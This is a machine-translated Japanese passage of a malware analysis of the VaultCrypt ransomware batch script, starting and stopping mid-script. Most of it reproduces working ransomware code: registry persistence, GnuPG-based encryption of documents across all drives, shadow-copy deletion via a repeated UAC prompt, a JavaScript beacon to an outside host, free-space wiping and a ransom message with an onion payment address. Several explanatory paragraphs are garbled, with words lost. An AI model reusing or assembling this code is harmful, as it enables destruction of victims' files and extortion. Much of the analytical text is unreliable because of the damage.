Y|ftype "d21f132a"=mshta.exe vbscript:Execute^(^"msgbox ^"^" BLOCK:^"^"^&vbNewLine^&^"^" %%1^"^"^&vbNewLine^&vbNewLine^&ChrW^(10139^)^&^"^" KEY PURCHASE: http://restoredz4xpmuqr.onion^"^"^&vbNewLine^&vbNewLine^&^"^" [accessible only via Tor Browser: http://torproject.org]^"^",16,^"^"VaultCrypt [Need to purchase key]^"^":close^"^) echo Y|assoc "d21f132a"\DefaultIcon=%SystemRoot%\System32\shell32.dll,-48 reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "b320494e" /t REG_SZ /f /d "mshta %appdata%\ddae25beb5b57d6e.hta" reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /f del /f /q "%temp%\e33176c1.js" reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /f reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /f start mshta "%temp%\ddae25beb5b57d6e.hta" attrib -s -h "%temp%\9480bf43.76a94786" del /f /q "%temp%\9480bf43.76a94786" if exist "%systemroot%\system32\cipher.exe" ( FOR %%s IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :461cd8b8 %%s goto 3c5d9ac8 :461cd8b8 cipher /w:%1: goto:eof :3c5d9ac8 ) del /f /q %0 :871c371d
      
      





コードをざっと見ると、サインメッセージが表示されます。

作業文書とデータベースはロックされており、.vult形式でマークされています


この段階では、私たちが何を扱っているかはすでに比較的明確です。このbatファイルをさらに詳しく見てみましょう。タスクは難しいと言うことではありません-むしろ、長いものです。



4実行可能ファイルの分析





4.1初期化





スクリプトの最初にオプションが設定されますEnableDelayedExpansion



特に、コードを解析するのではなく、実行時に変数を値に割り当てます。詳細については、たとえばこちらをご覧ください



 SetLocal EnableDelayedExpansion
      
      





次に、スクリプトは、フォルダー内にTemp



名前持つファイルがあるかどうかを確認します9480bf43.76a94786



このファイルは、悪意のあるスクリプトのインスタンスが既にPCで実行されていることを示しています。



ファイルが見つかった場合、スクリプトは処理を終了します。見つからない場合、スクリプトはそのようなファイルを作成し、マーカーをそこに書き込み、ファイル871c371d



のプロパティを「非表示」および「システム」に設定し、実行を続けます。



 cd "%TEMP%" if not exist "%temp%\9480bf43.76a94786" ( echo 871c371d > "%temp%\9480bf43.76a94786" attrib +s +h "%temp%\9480bf43.76a94786" ) else ( goto 871c371d )
      
      





その後、前の手順でダウンロードしたファイルのdesign.css



名前がに変更されgpg.exe



、2つの方法で(信頼性を高めるために)されます。ダウンロードしたファイルdesign.css



が削除されます。



 rename "%temp%\design.css" "gpg.exe" copy /y "%temp%\design.css" "%temp%\gpg.exe" del /f /q "%temp%\design.css"
      
      





注意:
«gpg.exe» "--help" :







, GnuPG: 1.4.18, , , , gpg.exe



900 , , , 300 , .



— . - GnuPG , GnuPG . , , . .



次に、スクリプトはCP866をコンソールコードページとして設定します(これは奇妙です-ロシア語のWindows OSでは、コードページはとにかくCP866のようです)。



 chcp 866
      
      





これに続いて、いくつかの変数が乱数で初期化されます。その後、生成された値がファイルVAULT.KEY



書き込まれますが、どのような目的のために-私にとっては不明のままです。頭に浮かぶのは、感染したPCの唯一のマーカーです。しかし、なぜそれが必要なのでしょうか?誰かからいくつかのバージョンを聞くのは素晴らしいことです。



 set 715c7be3=!RANDOM! set b67b5d00=!RANDOM! set dc841a88=!RANDOM! set db5a2d8a=!RANDOM! set ee1f189d=!RANDOM! set 2162ea2b=!RANDOM! set 58d179b8=!RANDOM! set 3d645b52=RU
      
      





続くコードブロックは、実行可能ファイルを実行するための道を開きますgpg.exe



最初に、トロイの木馬は古いユーティリティデータベースGPG



(PCに存在する場合)を別のディレクトリに移動しGPG



この段階で実行するコマンドのリストを含むファイルを作成します



 if exist "%APPDATA%\gnupg" RENAME "%APPDATA%\gnupg" gnupg_%random% echo Key-Type: RSA> "%temp%\9c668934.2ca1046c" echo Key-Length: 1024>> "%temp%\9c668934.2ca1046c" echo Name-Real: Cellar>> "%temp%\9c668934.2ca1046c"
      
      





最後に、この後、ファイル自体がgpg.exe



指定された一連のパラメーターで起動されます。



 "%temp%\gpg.exe" --batch --homedir "%temp%" --gen-key "%temp%\9c668934.2ca1046c"
      
      





その後、gpgは作業ディレクトリ(%temp%



)にキー情報を含む一連のファイルを作成します。



次に、公開鍵がファイルに書き込まれます%temp%\03dfb98e.7087b06e



これは攻撃者の公開鍵です。これにより、ユーザーファイルの秘密暗号化キーが暗号化されます。



 echo -----BEGIN PGP PUBLIC KEY BLOCK-----> "%temp%\03dfb98e.7087b06e" echo Version: GnuPG v1>> "%temp%\03dfb98e.7087b06e" echo.>> "%temp%\03dfb98e.7087b06e" echo mI0EVbFePwEEAMM+eRmPkcVTTwqLOyCkSlOTDjfnJpU2vTt94yMq1c1Ix1RF2fxp>> "%temp%\03dfb98e.7087b06e" echo S9ZDuQ9qfhqUxXiUtsEY7kB1pHtcyCeqtdrYST4YzJTeNCZNTiq2mVkQlPXqcvO/>> "%temp%\03dfb98e.7087b06e" echo hXpyYH/DNB6XmdQP9rmb/gIb5qHpRNoWlb1MBDZAJnHU3PEA2LcXbBX/ABEBAAG0>> "%temp%\03dfb98e.7087b06e" echo ClZhdWx0Q3J5cHSIuAQTAQIAIgUCVbFePwIbLwYLCQgHAwIGFQgCCQoLBBYCAwEC>> "%temp%\03dfb98e.7087b06e" echo HgECF4AACgkQ+Zg2Eii5y+eiQQQAm9r0sfXO5pp4/yy6lJG+zZAiijgzECVAQvw9>> "%temp%\03dfb98e.7087b06e" echo j+JE6n7mZnZDm632PrLumTHE9PauifXmyTFf0RPUI/D5B8QFPQn9hoNf041aaEgq>> "%temp%\03dfb98e.7087b06e" echo bTQSy7TIwZJfTyZyq/yhJiH0RLI7yhj/88sjX+uu7miGHO9jb1ygTo/qe5n3Q/Vp>> "%temp%\03dfb98e.7087b06e" echo xpSJJFU=>> "%temp%\03dfb98e.7087b06e" echo =CuiR>> "%temp%\03dfb98e.7087b06e" echo -----END PGP PUBLIC KEY BLOCK----->> "%temp%\03dfb98e.7087b06e"
      
      





この後、ちょっとした楽しみがあります。%temp%\3637bf69.36ddf8fe



秘密鍵が暗号化に使用されるファイルにエクスポートされます。以下のパラメーターが使用されます。



 "%temp%\gpg.exe" -r Cellar --export-secret-keys --yes --homedir "%temp%" -a> "%temp%\3637bf69.36ddf8fe"
      
      





生成されたキーの例(もちろん、各開始時に、新しい一意のキーが生成されます):
-----BEGIN PGP PRIVATE KEY BLOCK-----

Version: GnuPG v1



lQHYBFXmA8ABBADExeQcls8GeiNhzNMP29XfBG6xI3No4n6/Hc30FopRPZrsHxQW

thj54lhhHcNwSIWdXfoR/5p1zYEOW5C+fFd5M2apGifrYorzNtNfgV4GtcheRnhg

xipyDFzdhG+mbpnA4SnZ9VJPdRbaufLkWDO2ZHZNYp3A3VBx6dDB2zW8+wARAQAB

AAP9G7r3Azpo5t+b5eKmKe7QAfO6H8JAYkXCbpo7gIxpULqkVGYAKuqIXuAm7ATJ

mqTLGQV57O2/GElDneuJ3KEMTdvZu39z7NCnsEkws3AwkwU5uoaTFDxd+CIVHE6g

Ln29eoT5NdBJYw2hRiZgnCX5GKVc849IE9ELtmvQkw2RaSkCANjn2jcSbLPwBdz9

fySdoUGu02AEenWz3c6hCuUSGzX/2/tXm/xWgaxlQCsfF6TEOUgcbnmzHINY8VjF

769958kCAOg9G0Xn5U5i352GAybOnn5lEBm6dh8/pEis804MywaZNmPur9DOJIXS

7oCwQnfj4z+hAJEpa7vWtT1PgDyV6KMB/jxJ6deTkpBqkMdY6a+BFEPUUzzOm5js

2qhsl2TRTnOwIe1N4TEiCSAwS515jUDtU+xz4dsxwyhrUUDznaUEfrijdrQGQ2Vs

bGFyiLgEEwECACIFAlXmA8ACGy8GCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJ

EOiU7FYrzN14/cYEAJrXHg0aRasSUs6pnIOf+N8vwznPEzPGCCfEAI56WVxSZwxP

D5Rp/QIF51hJQQgOUv2AzC9INzCkT0AJn8Tejd1SQWF9y53nk8R4HK0BGftBlUNS

wBk2+dwH/VEhvGWa+Mlj9t2kHgim9wQowRa47QWrEUfWdOlj3Fgxc4kKD6zU

=O4tL

-----END PGP PRIVATE KEY BLOCK-----



このファイルを見て、よく覚えてみましょう。これは単なる生殖ですが、ほんの数分で悪名高いVAULT.KEYに変わります。



次の行は、以前に作成したファイル%temp%\9c668934.2ca1046c



をキーパラメーターとともに削除します。



 del /f /q "%temp%\9c668934.2ca1046c"
      
      





その後、%temp%\3637bf69.36ddf8fe



日付、ユーザー名、PC名、およびスクリプトの先頭で生成されたサービス情報といくつかの乱数がファイルに追加されます



 echo.>> "%temp%\3637bf69.36ddf8fe" echo BDATE: !DATE!>> "%temp%\3637bf69.36ddf8fe" echo UNAME: !USERNAME!>> "%temp%\3637bf69.36ddf8fe" echo CNAME: !COMPUTERNAME!>> "%temp%\3637bf69.36ddf8fe" echo PQQID: AKG-4813>> "%temp%\3637bf69.36ddf8fe" echo ULANG: !3d645b52!>> "%temp%\3637bf69.36ddf8fe" echo 01HSH: !715c7be3!>> "%temp%\3637bf69.36ddf8fe" echo 02HSH: !b67b5d00!>> "%temp%\3637bf69.36ddf8fe" echo 03HSH: !db5a2d8a!>> "%temp%\3637bf69.36ddf8fe" echo 04HSH: !dc841a88!>> "%temp%\3637bf69.36ddf8fe" echo 05HSH: !ee1f189d!>> "%temp%\3637bf69.36ddf8fe" echo FHASH: !2162ea2b!>> "%temp%\3637bf69.36ddf8fe"
      
      







4.2ファイル暗号化の準備





重要な注意:
( install.bat



) . -, « » — JS- VB-.



, . %temp%\61231f25.9db8b89a



, . , «» (, ), ( %temp%\4c2e533d.cmd



). %temp%\4c2e533d.cmd



JS-.



コードの次の部分は、拡張子が「xls」および「doc」であるPC上のすべてのファイルを検索し、暗号化のための情報を準備します。



 echo chcp 866 > "%temp%\61231f25.9db8b89a" FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :1010f32d %%f :1010f32d dir /B "%1:\"&& for /r "%1:\" %%i in (*.xls *.doc) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof
      
      





ほんの数行のコードのように見えますが、そのうちのいくつかは混乱を招きます。それを理解しましょう。



暗号化の準備:
:



 dir /B "%1:\"&& for /r "%1:\" %%i in (*.xls *.doc) do (
      
      





dir /B



, "%1:\"



. ( ), : «A:\», «B:\», «C:\» — , «Z:/».



for



/r



, .



«xls» «doc», %temp%\61231f25.9db8b89a



, .



:



 echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i" move /y "%%i.gpg" "%%i" RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
      
      





. GPG



:

  • -r Cellar



    : ;
  • --yes



    : «»;
  • -q



    : «» ( );
  • --no-verbose



    : ;
  • --trust-model always



    : GPG



    , ( GPG



    , );
  • --encrypt-files



    : ( ).


gpg



. , — test.doc



, test.doc.gpg



.



.



«vault». , test.doc



test.doc.vault



.



, %temp%\61231f25.9db8b89a



«xls» «doc», ( ).



:



 echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
      
      





%temp%\21b0fb7b.7ca0ec0c



, .



次に、スクリプトはファイルに%temp%\61231f25.9db8b89a



さらにいくつかのコマンドを追加しますVAULT.KEY



次のディレクトリのいずれかでファイルを検索します



そのようなファイルが見つかった場合、行01FNSH-OK



その末尾に追加されます。明らかに、ファイル暗号化の最初の段階が正常に完了したことを示すマーカーです。



 echo if exist "%%TeMp%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 01FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto 441f5342
      
      





次に、コードの次の機能ブロック-シャドウコピーの削除が始まります。次の3つのファイルが



フォルダーに%Temp%



作成されます



次に、を使用してwscript.exe



ファイルが起動され、次にファイルがacda3f33.js



起動されます69aca909.cmd







コード(読みやすくするために少しフォーマットされています):
 echo Set objShell = CreateObject^("Shell.Application"^) > "%temp%\59665d79.vbs" echo Set objWshShell = WScript.CreateObject^("WScript.Shell"^) >> "%temp%\59665d79.vbs" echo Set objWshProcessEnv = objWshShell.Environment^("PROCESS"^) >> "%temp%\59665d79.vbs" echo objShell.ShellExecute "wmic.exe", "shadowcopy delete /nointeractive", "", "runas", 0 >> "%temp%\59665d79.vbs" echo var cdp="%%TEMP%%\\69aca909.cmd"; var WshShell=CreateObject("WScript.Shell"); cdp=WshShell.ExpandEnvironmentStrings(cdp); function CreateObject(fq){ return new ActiveXObject(fq) } function xx(cdp){ WshShell.Run(cdp,0,0); } xx(''+cdp+''); > "%temp%\acda3f33.js" echo.> "%temp%\69aca909.cmd" echo SetLocal EnableDelayedExpansion>> "%temp%\69aca909.cmd" echo for /f "tokens=2*" %%%%i in ^('reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentVersion"'^) do set fnd7=%%%%j>> "%temp%\69aca909.cmd" echo if not %%fnd7:~0,1%% GEQ 6 goto a3811a18>> "%temp%\69aca909.cmd" echo set ntries=^0>> "%temp%\69aca909.cmd" echo :3c843d11>> "%temp%\69aca909.cmd" echo wscript.exe //B //Nologo "%%temp%%\59665d79.vbs"^& tasklist^|findstr /i wmic.exe>> "%temp%\69aca909.cmd" echo if not ^^!errorlevel^^!==0 ^(>> "%temp%\69aca909.cmd" echo set /a ntries+=^1>> "%temp%\69aca909.cmd" echo if not ^^!ntries^^! GEQ 16 goto 3c843d11>> "%temp%\69aca909.cmd" echo ^)>> "%temp%\69aca909.cmd" echo :a3811a18>> "%temp%\69aca909.cmd" echo del /f /q "%temp%\acda3f33.js">> "%temp%\69aca909.cmd" echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd" echo echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd" echo echo 1107cc4c ^> "%%temp%%\69aca909.cmd">> "%temp%\69aca909.cmd" start wscript.exe //B //Nologo "%temp%\acda3f33.js"
      
      





注意:
UAC, :







16 — , , «».



— . , , .



«» — .







- «»…







次に、さまざまな種類のファイルについて、暗号化の準備がいくつか順番に呼び出されます。このアルゴリズムは、以前に実行された拡張子「xls」および「doc」のファイルとまったく同じです。



かなり多くの同一行:
 FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :c68cd952 %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 02FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto 9b100e11 :c68cd952 dir /B "%1:\"&& for /r "%1:\" %%i in (*.pdf *.rtf) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :9b100e11 FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :a556dfcb %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 03FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto cd9f3e2a :a556dfcb dir /B "%1:\"&& for /r "%1:\" %%i in (*.psd *.dwg *.cdr) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :cd9f3e2a FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :071faa5e %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 04FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto e0aede1c :071faa5e dir /B "%1:\"&& for /r "%1:\" %%i in (*.cd *.mdb *.1cd *.dbf *.sqlite) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :e0aede1c FOR %%s IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :f941ecc1 %%s echo if exist "%%TeMp%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 05FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto ca70214e :f941ecc1 dir /B "%1:\"&& for /r "%1:\" %%i in (*.jpg *.zip) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :ca70214e
      
      







4.3 VAULT.KEYの作成





まず、ランダムな名前のJSファイルが「%Temp%」フォルダーに作成されます。このフォルダーは、起動時にWebリソースにアクセスします attached-email.com/c1.php



(現在は機能していません)。



コード:
 set loco=!random!!random! echo function CreateObject^(b^){return new ActiveXObject^(b^)} >> !loco!.js echo function ok^(b^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^)} >> !loco!.js echo ok^("http://attached-email.com/c1.php"^); >> !loco!.js wscript.exe //B //nologo //T:40 "!loco!.js"
      
      





このアピールが必要な理由も謎です。最も可能性が高いのは、ソフトウェアメーカーが収集する統計だけです。



分析、変換、収益性...ああ。



ファイルに次61231f25.9db8b89a



のファイル内のスクリプトの次の段階が正常に完了の店舗暗号化ルーチン、追加のマーカーチームレコードそのVAULT.KEY



フォルダにある%TeMp%



%AppDATA%



%USERPROFILE%\Desktop



その後、61231f25.9db8b89a



コマンドをファイルに追加して、ファイル%TeMp%\4c2e533d.cmd



番号を書き込み1e759748



、ファイル自体を削除します%TeMp%\4c2e533d.cmd







コード:
 echo echo FHASH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo echo FHASH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo echo FHASH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo echo 1e759748 ^> "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a" echo del /f /q "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a"
      
      





次に%temp%\21b0fb7b.7ca0ec0c



、システムファイルは暗号化されるユーザーファイルの元の名前が保存れているファイルから除外されますこれは2段階で行われます。最初に、「システム」ワードが存在する行(windows



またはmsoffice



がリストから削除され、次にシステムのサービス名と一時ディレクトリが存在する行が削除されます。



同様の操作が、暗号化スクリプトコード(%temp%\61231f25.9db8b89a



が保存されているファイルで実行されます。



結果はファイルに保存され%temp%\8f9c3dbb.9767d548



%temp%\4c2e533d.cmd



それに応じて保存されますその後、ソースおよび中間リストを持つファイルが削除されます。



コード:
 findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\21b0fb7b.7ca0ec0c"> "%temp%\97cf86b0.e479bce7" findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\61231f25.9db8b89a"> "%temp%\f2a431bc.6ccc04ec" findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\97cf86b0.e479bce7"> "%temp%\8f9c3dbb.9767d548" findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\f2a431bc.6ccc04ec"> "%temp%\4c2e533d.cmd" del /f /q "%temp%\97cf86b0.e479bce7" del /f /q "%temp%\f2a431bc.6ccc04ec" del /f /q "%temp%\21b0fb7b.7ca0ec0c" del /f /q "%temp%\61231f25.9db8b89a"
      
      





注意:
, … , windows



program



. avatars



? abbyy



?!



次に%temp%\3637bf69.36ddf8fe



、スクリプトに関する技術情報が保存されているファイルに次のデータが追加されます



次に8f9c3dbb.9767d548



、空白行と、スクリプトの最初に生成された同じ乱数が、暗号化されたファイルのリストを含むファイルに追加されます。その後、フォルダー内のランダムな名前で以前に作成され%Temp%



、アドレスにアクセスしたJSファイルは削除され attached-email.com/c1.php



ます。



コード:
 echo XCONF: !58d179b8!>> "%temp%\3637bf69.36ddf8fe" set 3a3b7af1=66668 for /f %%f in ('find /c /v ""^< "%temp%\8f9c3dbb.9767d548"') do ( set 3a3b7af1=%%f ) echo QNTTY: !3a3b7af1!>> "%temp%\3637bf69.36ddf8fe" for %%c IN (01:xls 04:doc 05:rtf 10:pdf 11:psd 12:dwg 13:cdr 19:cd 20:mdb 21:1cd 23:dbf 24:sqlite 26:jpg 27:zip) do ( for /f "tokens=1,2 delims=:" %%i in ("%%c") do ( for /f %%b in ('find /c /i ".%%j"^< "%temp%\8f9c3dbb.9767d548"') do ( echo %%iEXT: %%b>> "%temp%\3637bf69.36ddf8fe" ))) echo 02EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 03EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 06EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 07EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 08EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 09EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 14EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 15EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 16EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 17EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 18EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 22EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 25EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 28EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo 29EXT: 0 >> "%temp%\3637bf69.36ddf8fe" echo.>> "%temp%\8f9c3dbb.9767d548" echo XCONF: !58d179b8!>> "%temp%\8f9c3dbb.9767d548" del /f /q "!loco!.js"
      
      





次は、悪名高い作成VAULT.KEY



(暗号化されたファイルを%temp%\3637bf69.36ddf8fe



その店舗スクリプトデータに関する重要な情報)、およびCONFIRMATION.KEY



(これで暗号化されたファイル%temp%\8f9c3dbb.9767d548



ストア暗号化されたファイルといくつかのオーバーヘッドの名前のリストという)。暗号化は2つの異なるコマンドで実行されますGPG



(コマンドが初めて失敗した場合は、明らかに)。



2回試行しVAULT.KEY



ても作成できない場合6d0f24b8



は、VBのプロシージャコードが配置されているラベルに制御が渡されます(後で説明します)。スクリプトの最初に生成された乱数



は、ファイルの最後にVAULT.KEY



追加されます



コード:
 "%temp%\gpg.exe" --import "%temp%\03dfb98e.7087b06e" del /f /q "%temp%\03dfb98e.7087b06e" "%temp%\gpg.exe" -r recipient --yes -q --no-verbose --trust-model always -o "%temp%\VAULT.KEY" -e "%temp%\3637bf69.36ddf8fe" "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\CONFIRMATION.KEY" -e "%temp%\8f9c3dbb.9767d548" if not exist "%temp%\VAULT.KEY" ( "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\3637bf69.36ddf8fe" RENAME "%temp%\3637bf69.36ddf8fe.gpg" VAULT.KEY ) if not exist "%temp%\CONFIRMATION.KEY" ( "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\8f9c3dbb.9767d548" RENAME "%temp%\8f9c3dbb.9767d548.gpg" CONFIRMATION.KEY ) if not exist "%temp%\VAULT.KEY" ( del /f /q "%temp%\*.vlt" del /f /q "%temp%\*.gpg" del /f /q "%temp%\random_seed" del /f /q "%temp%\*.lock" del /f /q "%temp%\*.bak" del /f /q "%temp%\*.list" goto 6d0f24b8 ) echo.>> "%temp%\VAULT.KEY" echo 01FNSH-!715c7be3!>> "%temp%\VAULT.KEY" echo 02FNSH-!b67b5d00!>> "%temp%\VAULT.KEY" echo 03FNSH-!db5a2d8a!>> "%temp%\VAULT.KEY" echo 04FNSH-!dc841a88!>> "%temp%\VAULT.KEY" echo 05FNSH-!ee1f189d!>> "%temp%\VAULT.KEY" echo FHASH-!2162ea2b!>> "%temp%\VAULT.KEY"
      
      





注意:
%temp%\03dfb98e.7087b06e



. GPG



VaultCrypt



:







GPG



, , recipient



:



 "%temp%\gpg.exe" -r recipient --yes -q --no-verbose --trust-model always -o "%temp%\VAULT.KEY" -e "%temp%\3637bf69.36ddf8fe"
      
      





, . recipient



— .



?



その後GPG



、秘密鍵に関するすべての情報が数回慎重に上書きされます。GPG



動作中のユーティリティ使用するファイルは削除されます。



ファイルVAULT.KEY



CONFIRMATION.KEY



、フォルダ%temp%



からAppData



デスクトップにコピーされます(%userprofile%\Desktop



)。さらに、スクリプトが正常に完了したことを示すマーカーが追加される名前%temp%



、バックアップコピーがフォルダーに作成されますVAULT.KEY



4077430c_VAULT.KEY







コード:
 echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e> "%temp%\secring.qpq" echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\secring.qpq" echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c>> "%temp%\secring.qpq" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\secring.qpq" echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\secring.qpq" echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\secring.qpq" move /y "%temp%\secring.qpq" "%temp%\secring.gpg" echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c> "%temp%\36ddf8fe3637bf69.qpq" echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq" echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq" echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq" echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\36ddf8fe3637bf69.qpq" echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq" move /y "%temp%\36ddf8fe3637bf69.qpq" "%temp%\3637bf69.36ddf8fe" echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952> "%temp%\9767d5488f9c3dbb.qpq" echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\9767d5488f9c3dbb.qpq" echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\9767d5488f9c3dbb.qpq" move /y 